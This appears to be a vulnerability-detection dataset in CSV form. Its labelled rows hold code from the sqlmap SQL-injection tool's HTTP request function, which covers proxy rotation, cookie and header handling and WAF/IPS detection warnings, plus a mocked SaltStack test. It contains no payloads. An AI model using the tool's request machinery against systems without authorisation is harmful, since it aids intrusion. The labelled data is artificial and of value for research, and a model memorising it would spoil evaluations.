                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warn(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % ex
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except urllib2.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warn(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = page if isinstance(page, unicode) else getUnicode(page)

            code = ex.code
            status = getSafeExString(ex)

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = getUnicode("""".join(responseHeaders.headers).strip())

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if ex.code != conf.ignoreCode:
                if ex.code == httplib.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d)"" % code
                    raise SqlmapConnectionException(errMsg)
                elif ex.code == httplib.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == httplib.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, httplib.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d (%s)"" % (code, status)
                    logger.debug(debugMsg)

        except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError):
            tbMsg = traceback.format_exc()

            if checking:
                return None, None, None
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif ""forcibly closed"" in tbMsg or ""Connection is already closed"" in tbMsg:
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.connErrorChoice is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue ""
                    message += ""with further target testing? [y/N] ""

                    kb.connErrorChoice = readInput(message, default='N', boolean=True)

                if kb.connErrorChoice is False:
                    raise SqlmapConnectionException(warnMsg)

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or isMultiThreadMode():
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            if isinstance(page, basestring) and not isinstance(page, unicode):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = unicode(page, errors=""ignore"")
                else:
                    page = getUnicode(page)
            socket.setdefaulttimeout(conf.timeout)

        for function in kb.preprocessFunctions:
            try:
                page, responseHeaders, code = function(page, responseHeaders, code)
            except Exception as ex:
                errMsg = ""error occurred while running preprocess ""
                errMsg += ""function '%s' ('%s')"" % (function.func_name, getSafeExString(ex))
                raise SqlmapGenericException(errMsg)

        processResponse(page, responseHeaders, status)

        if conn and getattr(conn, ""redurl"", None):
            _ = urlparse.urlsplit(conn.redurl)
            _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
            requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

            if kb.resendPostOnRedirect is False:
                requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
        else:
            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

        if responseHeaders:
            logHeaders = getUnicode("""".join(responseHeaders.headers).strip())

        if not skipLogTraffic:
            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time())

        if conf.verbose <= 5:
            responseMsg += getUnicode(logHeaders)
        elif conf.verbose > 5:
            responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE])

        if not multipart:
            logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/states/test_cmd.py,0,"def test_run(self):
        '''
        Test to run a command if certain circumstances are met.
        '''
        name = 'cmd.script'

        ret = {'name': name,
               'result': False,
               'changes': {},
               'comment': ''}

        with patch.dict(cmd.__opts__, {'test': False}):
            comt = (""Invalidly-formatted 'env' parameter. See documentation."")
            ret.update({'comment': comt})
            self.assertDictEqual(cmd.run(name, env='salt'), ret)

        with patch.dict(cmd.__grains__, {'shell': 'shell'}):
            with patch.dict(cmd.__opts__, {'test': False}):
                mock = MagicMock(side_effect=[CommandExecutionError,
                                              {'retcode': 1}])
                with patch.dict(cmd.__salt__, {'cmd.run_all': mock}):
                    ret.update({'comment': '', 'result': False})
                    self.assertDictEqual(cmd.run(name), ret)

                    ret.update({'comment': 'Command ""cmd.script"" run',
                                'result': False, 'changes': {'retcode': 1}})
                    self.assertDictEqual(cmd.run(name), ret)

            with patch.dict(cmd.__opts__, {'test': True}):
                comt = ('Command ""cmd.script"" would have been executed')
                ret.update({'comment': comt, 'result': None, 'changes': {}})
                self.assertDictEqual(cmd.run(name), ret)

            mock = MagicMock(return_value=1)
            with patch.dict(cmd.__salt__, {'cmd.retcode': mock}):
                with patch.dict(cmd.__opts__, {'test': False}):
                    comt = ('onlyif condition is false')
                    ret.update({'comment': comt, 'result': True,
                                'skip_watch': True})
                    self.assertDictEqual(cmd.run(name, onlyif=''), ret)",,saltstack/salt,6664fdcda40b2adf55d70ace1f64fa7ec66497e7,"def test_run(self):
        '''
        Test to run a command if certain circumstances are met.
        '''
        name = 'cmd.script'

        ret = {'name': name,
               'result': False,
               'changes': {},
               'comment': ''}

        with patch.dict(cmd.__opts__, {'test': False}):
            comt = (""Invalidly-formatted 'env' parameter. See documentation."")
            ret.update({'comment': comt})
            self.assertDictEqual(cmd.run(name, env='salt'), ret)

        with patch.dict(cmd.__grains__, {'shell': 'shell'}):
            with patch.dict(cmd.__opts__, {'test': False}):
                mock = MagicMock(side_effect=[CommandExecutionError,
                                              {'retcode': 1}])
                with patch.dict(cmd.__salt__, {'cmd.run_all': mock}):
                    ret.update({'comment': '', 'result': False})
                    self.assertDictEqual(cmd.run(name), ret)

                    ret.update({'comment': 'Command ""cmd.script"" run',
                                'result': False, 'changes': {'retcode': 1}})
                    self.assertDictEqual(cmd.run(name), ret)

            with patch.dict(cmd.__opts__, {'test': True}):
                comt = ('Command ""cmd.script"" would have been executed')
                ret.update({'comment': comt, 'result': None, 'changes': {}})
                self.assertDictEqual(cmd.run(name), ret)

            mock = MagicMock(return_value=1)
            with patch.dict(cmd.__salt__, {'cmd.retcode': mock}):
                with patch.dict(cmd.__opts__, {'test': False}):
                    comt = ('onlyif condition is false')
                    ret.update({'comment': comt, 'result': True,
                                'skip_watch': True})
                    self.assertDictEqual(cmd.run(name, onlyif=''), ret)"
,UNKNOWN,UNKNOWN,lib/request/connect.py,1,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        if conf.offline:
            return None, None, None

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        host = kwargs.get(""host"", None) or conf.host
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        start = time.time()

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

            if conf.proxyFreq:
                if kb.requestCounter % conf.proxyFreq == 0:
                    conf.proxy = None

                    warnMsg = ""changing proxy""
                    logger.warning(warnMsg)

                    setHTTPHandlers()

        if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))

            page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3)

            threadData.lastPage = page
            threadData.lastCode = code

            return page, headers, code

        if conf.liveCookies:
            with kb.locks.liveCookies:
                if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
                    warnMsg = ""[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)"" % (time.strftime(""%X""), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
                    dataToStdout(warnMsg)

                    valid = False
                    for _ in xrange(LIVE_COOKIES_TIMEOUT):
                        if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
                            valid = True
                            break
                        else:
                            dataToStdout('.')
                            time.sleep(1)

                    dataToStdout(""\n"")

                    if not valid:
                        errMsg = ""problem occurred while loading cookies from file '%s'"" % conf.liveCookies
                        raise SqlmapValueException(errMsg)

                cookie = openFile(conf.liveCookies).read().strip()
                cookie = re.sub(r""(?i)\ACookie:\s*"", """", cookie)

        if multipart:
            post = multipart
        else:
            if not post:
                chunked = False

            elif chunked:
                post = _urllib.parse.unquote(post)
                post = chunkSplitPostData(post)

        webSocket = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL:
                    url = re.sub(r""(?i)\A(http|ws):"", r""\g<1>s:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            if kb.headersFile:
                content = openFile(kb.headersFile, ""rb"").read()
                for line in content.split(""\n""):
                    line = getText(line.strip())
                    if ':' in line:
                        header, value = line.split(':', 1)
                        headers[header] = value

            if conf.localhost:
                headers[HTTP_HEADER.HOST] = ""localhost""

            for key, value in list(headers.items()):
                if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
                    value = re.sub(r""(?i)(,)br(,)?"", lambda match: ',' if match.group(1) and match.group(2) else """", value) or ""identity""

                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            if webSocket:
                ws = websocket.WebSocket()
                ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))

                _page = []

                if kb.webSocketRecvCount is None:
                    while True:
                        try:
                            _page.append(ws.recv())
                        except websocket.WebSocketTimeoutException:
                            kb.webSocketRecvCount = len(_page)
                            break
                else:
                    for i in xrange(max(1, kb.webSocketRecvCount)):
                        _page.append(ws.recv())

                page = ""\n"".join(_page)

                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                post = getBytes(post)

                if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST:
                    if kb.place != HTTPMETHOD.POST:
                        conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    else:
                        post = urldecode(post, convall=True)
                        post = encodeBase64(post)

                if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    req = MethodRequest(url, post, headers)
                    req.set_method(cmdLineOptions.method or method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                for function in kb.preprocessFunctions:
                    try:
                        function(req)
                    except Exception as ex:
                        errMsg = ""error occurred while running preprocess ""
                        errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)
                    else:
                        post, headers = req.data, req.headers

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    with conf.cj._cookies_lock:
                        cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if not multipart:
                    threadData.lastRequestMsg = requestMsg

                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.choices.redirect == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, ""geturl"") else url

                    if getattr(conn, ""redurl"", None) is not None:
                        responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl

                    responseHeaders = patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if not refresh:
                    refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)

                    if refresh:
                        debugMsg = ""got Javascript redirect logic""
                        logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""got a refresh intent ""
                        msg += ""(redirect like response common to login pages) to '%s'. "" % refresh
                        msg += ""Do you want to apply it from now on? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warning(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % getSafeExString(ex)
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                responseHeaders = patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warning(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders and getattr(responseHeaders, ""headers"", None):
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if code in conf.abortCode:
                errMsg = ""aborting due to detected HTTP code '%d'"" % code
                singleTimeLogMessage(errMsg, logging.CRITICAL)
                raise SystemExit

            if ex.code not in (conf.ignoreCode or []):
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d). "" % code
                    errMsg += ""If this is intended, try to rerun by providing ""
                    errMsg += ""a valid value for option '--ignore-code'""
                    raise SqlmapConnectionException(errMsg)
